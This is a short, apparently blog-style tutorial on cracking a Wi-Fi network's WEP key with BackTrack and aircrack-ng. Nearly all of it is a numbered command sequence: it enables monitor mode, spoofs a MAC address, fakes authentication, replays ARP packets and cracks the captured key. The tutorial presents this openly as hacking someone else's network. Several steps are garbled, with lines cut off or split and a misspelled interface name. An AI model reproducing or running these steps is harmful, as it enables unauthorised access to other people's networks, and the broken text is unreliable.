How To Hacking Wi-Fi Network

I am going to share with you some of my favorite wireless tools that can be used to hack Wi-Fi password using Backtrack :

Step 1 : First Download Backtrack from the following link:
http://www.remote-exploit.org/backtrack_download.html

Step 2 : Burn the iso image on CD and boot your laptop from CD drive

Step 3 : Select the third boot option(VESA/KDE).

Step 4 : Once in BT3, click the tiny black box in the lower left corner to load up a "Konsole" window.

Step 5 :- Type the following command " airmon-ng "
Note : down the interface name. In this example wifi0

Step 6 : " airmon-ng stop wifi0 "


Step 7 : " ifconfig wifi0 down "

Step 8 : " macchanger --mac 00:11:22:33:44:66 wifi0 "

Step 9 : " airmon-ng start wifi0 "

Step 10 : " airodump-ng wifi0 "

Step 11 :  " airodump-ng -c (channel) -w (file name) "
Replace
(channel) with the CH which u had already n
(file name) with any name of your choice
(bssid) with the BSSID which u had already note
 " bssid (bssid) wifi0 "
Note it
Leave this console as it is and start new konsole

Step 12 : " aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0 "
If you don’t get Association Successful mesage then keep on trying until
you got success.

Step 13 : " aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0 "
Well if you don’t see ARP ACK and sent packets are not increasing or still 0
than it means no 1 is
accessing that network.But don’t worry you go an optional step,
Leave this console as it is and start new k

Step 14 : " aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF "
konsole message than keep on trying until you get success, got an optional step
konsole
 " b (bssid) –h 00:11:22:33:44:66 wfi0 "
Press y and enter. Now you will see that ARP and ACK packets in 2nd console are increasing fast, Keep this console as it is and start 4th console.

Step 15 : "aircrack-ng -b (bssid) (filename) "
Just wait and watch…..Backtrack will do rest of the work.
Hurray we got the key.

Done..!!
